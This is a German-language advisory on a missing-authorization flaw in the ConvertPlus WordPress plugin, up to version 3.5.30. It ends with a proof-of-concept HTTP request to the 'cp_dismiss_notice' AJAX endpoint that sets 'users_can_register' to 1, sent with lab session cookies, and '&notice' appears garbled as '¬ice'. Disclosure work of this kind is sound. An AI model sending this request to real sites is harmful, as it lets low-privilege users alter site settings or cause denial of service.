
Popup-Plugin für WordPress - ConvertPlus <= 3.5.30 - Fehlende Autorisierung für authentifizierte (Abonnent+) begrenzte Optionsaktualisierung
Popup-Plugin für WordPress - ConvertPlus <= 3.5.30 - Fehlende Autorisierung für authentifizierte (Subscriber+) eingeschränkte Optionsaktualisierung
Das ConvertPlus-Plugin für WordPress ist in allen Versionen bis einschließlich 3.5.30 anfällig für unbefugte Änderungen von Daten, die zu einem Denial-of-Service führen können, da eine fehlende Berechtigungsprüfung am AJAX-Endpunkt 'cp_dismiss_notice' vorliegt. Dadurch können authentifizierte Angreifer mit Zugriff auf Subscriber-Ebene und höher Optionswerte auf der WordPress-Website auf '1' setzen. Dies kann ausgenutzt werden, um eine Option zu aktualisieren, die einen Fehler auf der Website erzeugt und legitimen Benutzern den Dienst verweigert, oder um bestimmte Werte auf true zu setzen, wie etwa die Registrierung.
Hinweise
Es schreibt lediglich eine 1 in die Datenbank, sodass man nur eine 1 in users_can_register setzen kann.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011
action=cp_dismiss_notice¬ice=users_can_register